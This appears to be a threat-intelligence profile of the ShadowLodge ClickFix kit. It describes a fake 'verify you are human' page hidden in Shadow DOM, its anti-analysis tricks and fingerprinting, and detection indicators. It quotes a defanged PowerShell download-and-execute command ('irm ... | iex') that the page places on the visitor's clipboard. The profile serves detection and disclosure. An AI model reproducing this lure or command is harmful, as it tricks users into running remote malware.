ShadowLodge ClickFix kit
ShadowLodge is a fake browser check built inside declarative Shadow DOM, with inline-command and remote-text variants. We have matched it on 2 sites since 21 August.
ShadowLodge in numbers
Since 21 August, the first ShadowLodge match in our records, counted on 12 November 2026. How we count.
| Sites with ShadowLodge code | 2 |
|---|---|
| Sites with a match in the last 30 days | 0 |
| New sites in October | 0 |
A full verification page inside a shadow root
ShadowLodge uses complete landing pages that share the same generated element IDs, layout and interaction code. Their HTML is nearly identical. The command delivery changed while the page around it stayed recognisable.
The verification widget lives inside <template shadowrootmode="open">. ShadowLodge's attachLogic function reaches through .shadowRoot to find the checkbox and instruction panel. The IDs ebJgtn, RMxDHG and WvNRRX repeat across both builds.
Two waits before the terminal prompt
The visitor first sees "Verifying your browser" and a spinner. After three seconds, the page swaps in a "Verify you are human" checkbox. Selecting it brings the spinner back for another three seconds, expands the widget and reveals four steps: press Win+X, open PowerShell or Terminal, paste with Ctrl+V and press Enter.
A separate generateRayId function fills the page with a random 16-character hexadecimal Ray ID. The instruction panel repeats that value as the visitor's supposed verification code.
Inline and remote commands
The 22 August capture keeps an irm command directly in the page. Its shape is:
irm hxxp://[host]/[script].ps1 | iexThe 27 August capture fetches script.txt from beside the page and reads the reply with response.text(). The rest of the flow is unchanged. In both builds, a document-wide click handler writes the command, so any click after the handler is attached can replace the clipboard.
Both pages reject mobile user agents and reload when the visitor presses common developer, view-source, save or print shortcuts. A one-second debugger timer reloads the page when a paused session takes more than 100 milliseconds. The inline-command capture adds a report containing the page address and a browser fingerprint: screen size, timezone, languages, CPU count, memory, touch points, GPU and a canvas hash.
What we see
| Month | New sites |
|---|---|
| September | 0 |
| October | 0 |
| November so far | 0 |
Checking a page
Inspect the raw HTML and the rendered shadow root. Search for:
<template shadowrootmode="open">containingebJgtn,RMxDHGandWvNRRXgenerateRayIdand anattachLogicfunction that enters.shadowRoot- two three-second timers around the checkbox and instruction panel
fetch('script.txt')followed byresponse.text(), or an inlineirmcommand piped toiex- a document-level click handler that calls
navigator.clipboard.writeText
Use a saved response for inspection because the page interferes with developer tools and view-source shortcuts.